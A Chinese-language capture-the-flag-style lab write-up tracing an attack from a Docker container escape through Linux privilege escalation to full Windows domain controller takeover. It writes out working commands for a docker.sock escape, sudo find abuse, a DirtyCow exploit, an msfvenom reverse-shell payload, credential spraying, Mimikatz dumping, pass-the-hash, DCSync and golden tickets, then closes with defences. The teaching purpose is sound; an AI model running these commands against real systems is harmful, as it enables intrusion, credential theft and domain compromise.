从容器逃逸到域控提权:一条完整的内网渗透攻击链实战解析 1. 项目概述一次从容器到域控的渗透路径复现最近在VPC4靶场里完整走了一遍从Docker容器逃逸最终拿到域控制器最高权限的路径。这整个过程就像一场精心设计的“闯关游戏”每一环都扣着下一环非常考验对攻击链的理解和工具链的熟练度。如果你对渗透测试、红队攻防或者内网安全感兴趣这次复盘应该能给你不少启发。整个过程涉及了Docker安全配置不当的利用、Linux提权、内网横向移动、域环境信息收集以及最终的域控提权用到的工具也都是老伙计们了MetasploitMSF、Mimikatz和CrackMapExecCME。无论你是想巩固知识体系还是准备相关的认证考试跟着走一遍很多抽象的概念会变得非常具体。2. 环境与攻击路径总览2.1 靶场环境与初始立足点VPC4靶场模拟了一个相对经典的内网环境外部存在一个Web应用该应用运行在一个Docker容器中。我们的攻击起点就是这个Web应用的一个漏洞比如一个简单的命令注入或反序列化漏洞它让我们在容器内部获得了一个反向Shell。此刻我们只是一个被“关”在容器里的低权限用户。整个攻击的目标很明确打破容器这个“第一层牢笼”进入宿主机系统然后在宿主机上提权获得立足点接着以宿主机为跳板探测和攻击内网中的其他机器特别是域控制器Domain Controller, DC。注意所有操作均在授权的靶场环境中进行旨在学习安全技术、理解攻击原理以强化防御。严禁对任何未经授权的系统进行测试。2.2 攻击链全景图为了让思路更清晰我把整个攻击流程梳理成下面几个关键阶段你可以把它看作一份“闯关地图”阶段一容器逃逸- 从获得的容器内部Shell出发利用配置缺陷逃逸到宿主机。阶段二宿主机提权- 在宿主机上通常只是一个普通用户权限需要进一步提权至root。阶段三内网信息收集与横向移动- 以root权限的宿主机为据点扫描内网定位域控制器和域内其他主机并尝试获取更多凭证。阶段四域渗透与域控提权- 利用获取的域用户凭证通过工具进行深度信息收集最终攻陷域控制器获得域管理员Domain Admin权限。这条链上的每一步都对应着不同的技术点和工具使用。下面我们就来拆解每一个环节。3. 第一阶段Docker容器逃逸实战拿到容器内的Shell后第一件事就是确认环境。运行id和hostname命令如果主机名是一串随机字符Docker默认/目录下存在.dockerenv文件或者查看/proc/1/cgroup文件发现路径中包含docker字样基本就能确定是在容器里了。3.1 常见的逃逸方法排查在实战中我们不会只依赖一种方法而是像排查一样按可能性从高到低进行尝试检查Docker Socket挂载这是最“经典”也最危险的配置错误。运行ls -la /var/run/查看是否存在docker.sock文件。如果发现/var/run/docker.sock被挂载到了容器内部那么逃逸就非常简单了。因为Docker Socket是Docker守护进程的API入口拥有它就意味着能向宿主机Docker发送指令。检查特权模式Privileged Mode运行cat /proc/self/status | grep CapEff如果输出的能力位掩码值是0000003fffffffff或类似的全1值或者运行ls /dev发现有很多设备文件那么容器可能以特权模式运行。特权模式赋予了容器几乎所有的Linux Capabilities逃逸方法很多例如直接挂载宿主机磁盘。检查敏感目录挂载检查/etc/、/root/、/var/run/等目录是否被挂载。有时管理员为了配置方便会把宿主机的目录挂载进来这可能导致信息泄露或直接写文件逃逸。内核漏洞提权如果以上都不行最后的手段就是检查内核版本寻找对应的提权漏洞。在容器内运行uname -a查看内核版本。但这种方式风险较高可能造成系统崩溃在靶场中可以尝试真实环境中需谨慎。3.2 利用Docker Socket挂载逃逸在VPC4靶场中最常见的情况就是/var/run/docker.sock被挂载。一旦确认逃逸过程如下首先在容器内部我们需要安装Docker客户端。因为只有sock文件还不够我们需要能与之交互的命令行工具。如果容器基于Debian/Ubuntu可以尝试apt-get update apt-get install -y docker.io如果是Alpine则用apk add docker安装成功后由于sock文件通常属于docker组而我们的用户可能不在该组需要检查权限。如果权限是rw-rw----662属组是docker而我们的用户不在docker组那么需要先尝试将自己加入docker组如果可能或者看看sock文件是否有其他宽松权限如rw-rw-rw-。在靶场简化环境中有时sock文件权限设置就很宽松。接下来使用docker命令通过这个sock与宿主机Docker守护进程通信。关键点在于我们是在容器内执行命令但命令的目标是控制宿主机的Docker。逃逸操作# 列出宿主机上的所有容器从容器内视角宿主机Docker的容器列表 docker -H unix:///var/run/docker.sock ps -a # 在宿主机上运行一个新的容器并将宿主机的根目录 / 挂载到新容器的 /mnt 目录 # 使用 --privileged 赋予新容器特权以便我们能够完全访问挂载的宿主机文件系统 docker -H unix:///var/run/docker.sock run -it --rm --privileged -v /:/mnt alpine chroot /mnt bash这条命令分解来看-H unix:///var/run/docker.sock: 指定使用容器内的这个socket文件进行连接。run -it --rm --privileged: 在宿主机上创建并运行一个交互式的、退出即删除的特权容器。-v /:/mnt: 将宿主机的根目录/挂载到这个新容器的/mnt目录。alpine: 使用轻量级的Alpine镜像。chroot /mnt bash: 在新容器内执行chroot命令将根目录切换到/mnt即宿主机的根目录并启动一个bash shell。执行成功后你就会获得一个Shell。在这个Shell中执行hostname会发现主机名变成了宿主机的名字ls /看到的是宿主机的文件系统。恭喜你已经成功逃逸到了宿主机上。实操心得在实际渗透中如果sock文件存在但权限不足可以检查容器内是否有其他高权限进程或SUID文件尝试先提权再操作sock。另外逃逸后第一时间要做的就是建立更稳定的后门连接比如用msfvenom生成一个Linux的reverse shell payload写入宿主机的cron任务或者ssh authorized_keys中。4. 第二阶段宿主机Linux提权逃逸到宿主机后我们通常只是一个普通用户比如www-data或某个低权限系统用户。需要将权限提升至root。Linux提权方法繁多核心思路是利用系统配置错误、软件漏洞或权限继承关系让当前用户能够执行只有root才能执行的操作。4.1 系统信息收集在尝试任何提权之前必须进行彻底的信息收集# 查看当前用户和权限 id sudo -l # 非常重要查看当前用户可以以root身份执行哪些命令 # 查看系统版本和内核信息 uname -a cat /etc/os-release cat /etc/issue # 寻找SUID/SGID文件危险 find / -perm -us -type f 2/dev/null find / -perm -gs -type f 2/dev/null # 查看计划任务 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看可写的系统路径 find / -writable -type d 2/dev/null | grep -v proc | grep -v sys4.2 利用SUID文件提权在VPC4靶场中一种常见的提权方式是找到一个具有SUID权限且功能危险的二进制文件。sudo -l的输出是黄金信息。假设我们发现当前用户可以以root身份无需密码运行/usr/bin/findUser www-data may run the following commands on target-host: (root) NOPASSWD: /usr/bin/find这提权就太简单了。因为find命令有一个-exec参数可以执行命令sudo find /etc/passwd -exec /bin/bash \;或者更直接sudo /usr/bin/find / -exec /bin/bash \;这样获得的bash shell就是root权限了。除了find像vim、nmap旧版本交互模式、more/less、man等命令如果配置了SUID或sudo免密都可能用来提权。关键在于理解这些命令如何能够执行系统命令或读写文件。4.3 内核漏洞提权如果系统配置很严格没有找到可利用的SUID或sudo条目那么就需要检查内核版本寻找公开的提权漏洞。使用uname -a获取内核版本然后搜索对应的漏洞如DirtyCowCVE-2016-5195、DirtyPipeCVE-2022-0847等。在靶场中我们可以预先准备好对应的漏洞利用代码exploit上传到目标主机编译并执行。例如对于DirtyCow# 在攻击机上编译exploit gcc -pthread dirty.c -o dirty -lcrypt # 上传到目标主机方法很多如用python启动HTTP服务wget下载 # 在目标主机上执行 chmod x dirty ./dirty执行成功后会创建一个新的root权限用户如firefart用其密码即可切换。注意事项内核漏洞利用有风险可能导致系统不稳定甚至崩溃。在真实生产环境中除非万不得已或有充分把握否则应优先寻找配置层面的提权路径。在靶场中则可以大胆尝试这是学习的一部分。5. 第三阶段内网信息收集与横向移动获得宿主机root权限后我们拥有了一个坚固的“桥头堡”。接下来就要向内网纵深探索。5.1 内网网络探测首先需要摸清当前主机所在的网络环境# 查看IP地址、路由和网络接口 ifconfig 或 ip addr route -n 或 ip route cat /etc/resolv.conf # 查看DNS服务器很可能就是域控制器 # 进行ARP扫描发现同一网段内存活的主机 arp -a # 或者使用更主动的扫描如果安装了nmap nmap -sn 192.168.1.0/24假设我们发现宿主机IP是192.168.1.105网关是192.168.1.1DNS服务器是192.168.1.10。192.168.1.10有很大概率就是域控制器DC。5.2 使用MetasploitMSF建立持久化与扫描虽然我们可以手动操作但使用MSF能更好地管理会话和利用模块。首先在攻击机上生成一个Linux的Meterpreter反向Shell载荷msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST你的攻击机IP LPORT4444 -f elf -o shell.elf将shell.elf上传到已提权的宿主机并赋予执行权限然后在后台运行它。接着在攻击机的MSF中启动处理器msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 你的攻击机IP set LPORT 4444 exploit -j当宿主机执行payload后MSF会得到一个Meterpreter会话。在这个会话中我们可以进行内网路由和扫描。添加路由并扫描# 在Meterpreter会话中 run autoroute -s 192.168.1.0/24 # 背景化当前会话 background # 使用MSF的端口扫描模块扫描域控制器 use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.10 set PORTS 53,88,135,139,389,445,636,3268,3269 run关键端口说明53DNS域解析。88Kerberos认证。135RPC端点映射。139/445SMB/CIFS文件共享和很多远程服务。389/636LDAP/LDAPS目录服务。3268/3269全局编录Global Catalog。5.3 使用CrackMapExecCME进行凭证喷射与信息收集CrackMapExecCME是内网渗透的“瑞士军刀”尤其擅长利用SMB协议进行凭证测试、信息收集和横向移动。假设我们在之前的Web漏洞利用或宿主机信息收集中找到了几个可能的用户名和密码比如从配置文件、历史命令、内存中抓取就可以用CME进行测试。首先在攻击机上安装CMEKali通常自带。然后使用获取的凭证对目标网段进行“喷洒”crackmapexec smb 192.168.1.0/24 -u username_list.txt -p password_list.txt或者如果我们有一个确定的用户名密码组合想看看能访问哪些主机crackmapexec smb 192.168.1.0/24 -u jdoe -p Password123! --shares--shares参数会列出该用户在该主机上有权限访问的SMB共享。如果运气好我们获取到的某个域用户凭证甚至可能是本地管理员凭证在域内多台主机上复用CME会清晰地显示出来。例如输出中Pwn3d!标志意味着凭证在该主机上具有管理员权限。利用CME执行命令一旦发现某台主机比如一台域成员服务器192.168.1.20可以被我们获取的凭证控制我们可以直接在上面执行命令为下一步行动做准备crackmapexec smb 192.168.1.20 -u jdoe -p Password123! -x whoami-x参数用于执行系统命令。我们可以用它来上传后门、添加用户等。实操心得CME的--sam、--lsa、--ntds参数可以尝试转储远程主机的哈希值但需要相应的权限。横向移动时优先使用-x执行命令来植入一个Meterpreter或Beacon比单纯执行单条命令更可控。另外注意CME的流量特征在较严格的内网中可能需要配合代理。6. 第四阶段域渗透与域控提权这是最后也是最关键的一步。目标是域控制器192.168.1.10。6.1 域信息收集首先我们需要更深入地了解域环境。可以使用CME的LDAP模块或者使用ldapsearch命令如果目标主机已安装LDAP客户端工具# 使用CME通过LDAP收集域信息 crackmapexec ldap 192.168.1.10 -u jdoe -p Password123! --users crackmapexec ldap 192.168.1.10 -u jdoe -p Password123! --groups crackmapexec ldap 192.168.1.10 -u jdoe -p Password123! --computers这些命令可以列出域内所有用户、组和计算机账户。特别要关注“Domain Admins”组和“Enterprise Admins”组的成员。6.2 利用Mimikatz抓取内存凭证Mimikatz是提取Windows内存中明文密码、哈希、票据Ticket的神器。如果我们通过横向移动在一台域成员服务器比如192.168.1.20上获得了交互式Shell例如通过MSF的psexec模块或CME上传的payload就可以尝试在该机器上运行Mimikatz。在MSF的Meterpreter会话中加载Mimikatz非常方便# 在对应会话中 load kiwi # 或者老版本的 # load mimikatz # 抓取内存中的明文密码 creds_all # 抓取哈希 lsa_dump_sam lsa_dump_secrets # 抓取Kerberos票据 golden_ticket_createcreds_all命令可能会直接显示出登录过该机器的域管理员的明文密码这是最理想的情况。如果只抓到了哈希NTLM hash我们也可以使用“Pass-the-Hash”PTH攻击。6.3 Pass-the-Hash攻击域控制器假设我们从成员服务器192.168.1.20的内存中抓取到了域管理员Administrator的NTLM哈希aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0这是空密码的哈希举例用。我们可以直接使用这个哈希通过SMB协议访问域控制器而无需知道明文密码。CME同样支持PTHcrackmapexec smb 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --shares如果成功说明该哈希有效并且该账户有权限访问DC。接下来我们可以直接在DC上执行命令。最直接的目标是转储整个域的数据信NTDS.dit这里面包含了所有域用户的哈希。6.4 提取域哈希NTDS.dit与DCSync攻击方法一使用CME直接转储如果凭证有足够权限CME可以尝试远程读取NTDS.ditcrackmapexec smb 192.168.1.10 -u Administrator -H NTLM_HASH --ntds但这种方式可能触发防护且对网络稳定性要求高。方法二使用Meterpreter的Kiwi模块DCSyncDCSync是Mimikatz提供的一种攻击手法它模拟域控制器之间的同步协议向一个真实的域控制器请求账户数据从而无需登录到DC就能获取哈希。前提是使用的账户拥有复制目录更改的权限默认Domain Admins组有。# 在已经拥有域管理员凭证的Meterpreter会话中会话可以在任何一台域内机器上 load kiwi dcsync_ntlm 域名 域管理员账号 # 例如dcsync_ntlm lab.local Administrator这个命令会直接返回指定账户的NTLM哈希。我们可以对krbtgt这个特殊账户执行DCSync获取其哈希用于制作黄金票据Golden Ticket从而获得域内持久的完全控制权。方法三上传工具到DC执行如果我们可以通过PTH在DC上执行命令可以直接将Mimikatz或NinjaCopy等工具上传到DC在本地运行来转储NTDS.dit和SYSTEM注册表配置单元。# 使用CME执行命令上传并运行secretsdump.py (Impacket套件中的工具) # 首先在攻击机启动SMB服务器共享包含secretsdump.py的目录 impacket-smbserver share . -smb2support # 使用CME让DC连接到攻击机复制并执行命令假设DC有Python crackmapexec smb 192.168.1.10 -u Administrator -H NTLM_HASH -x cmd /c copy \\你的IP\share\secretsdump.py . python secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL更常见的是我们先用CME或MSF的psexec在DC上获得一个Shell然后在这个Shell里直接运行上传的工具。6.5 获得域控完全控制权一旦我们拿到了域管理员哈希或者通过DCSync拿到了krbtgt哈希整个域就基本沦陷了。我们可以创建黄金票据使用krbtgt的哈希可以伪造任意用户的TGTTicket Granting Ticket从而访问域内任何服务。# 在Mimikatz/Kiwi中 golden_ticket_create -u Administrator -d lab.local -s S-1-5-21-... -k krbtgt_ntlm_hash -t gold.ticket直接登录域控制器使用域管理员凭证哈希或明文通过RDP、WinRM或SMB直接登录到192.168.1.10。# 使用xfreerdp进行RDP登录Pass-the-Hash xfreerdp /v:192.168.1.10 /u:Administrator /pth:NTLM_HASH在域控上执行任意命令如前所述使用CME的-x参数或MSF的psexec模块。至此从最开始的Docker容器Web漏洞到最终站在域控制器的最高权限上一条完整的攻击链就完成了。7. 防御视角下的思考与总结走完整个攻击流程从防御者角度看每一个环节都有可以加强的地方容器安全严格限制容器能力避免使用--privileged切勿将Docker Socket等敏感资源挂载到容器内。使用非root用户运行容器进程。宿主机加固遵循最小权限原则定期审计SUID/SGID文件和sudo权限。及时更新内核和软件补丁。内网分区与隔离业务服务器如运行Docker的宿主机不应与域控制器处于同一扁平网络。应进行网络分段严格控制访问策略。凭证管理强制使用强密码避免密码复用。启用LAPS本地管理员密码解决方案管理本地管理员密码。对域管理员账户实施最严格的保护和监控。监控与检测部署EDR/NDR产品监控异常登录行为如非受信设备的RDP登录、敏感命令执行如Mimikatz相关进程创建、NTDS.dit文件读取、以及网络中的异常流量如DCSync复制请求。最小权限与零信任域用户不应在所有计算机上都有本地管理员权限。实行基于角色的访问控制RBAC。这次VPC4靶场的实战本质上是一条经典的“突破边界 - 横向移动 - 攻陷核心”的路径。理解攻击者的每一步操作和意图正是我们构建更有效防御体系的基础。工具MSF, Mimikatz, CME只是实现手段核心还是对协议如SMB, Kerberos, LDAP、系统机制如Windows认证、Linux权限和攻防思想的把握。多在这种隔离的靶场环境中练习形成肌肉记忆和思维惯性当面对真实场景时才能更快地抓住关键点。最后记得所有技术都应在法律和道德许可的范围内使用我们的目标是守护而非破坏。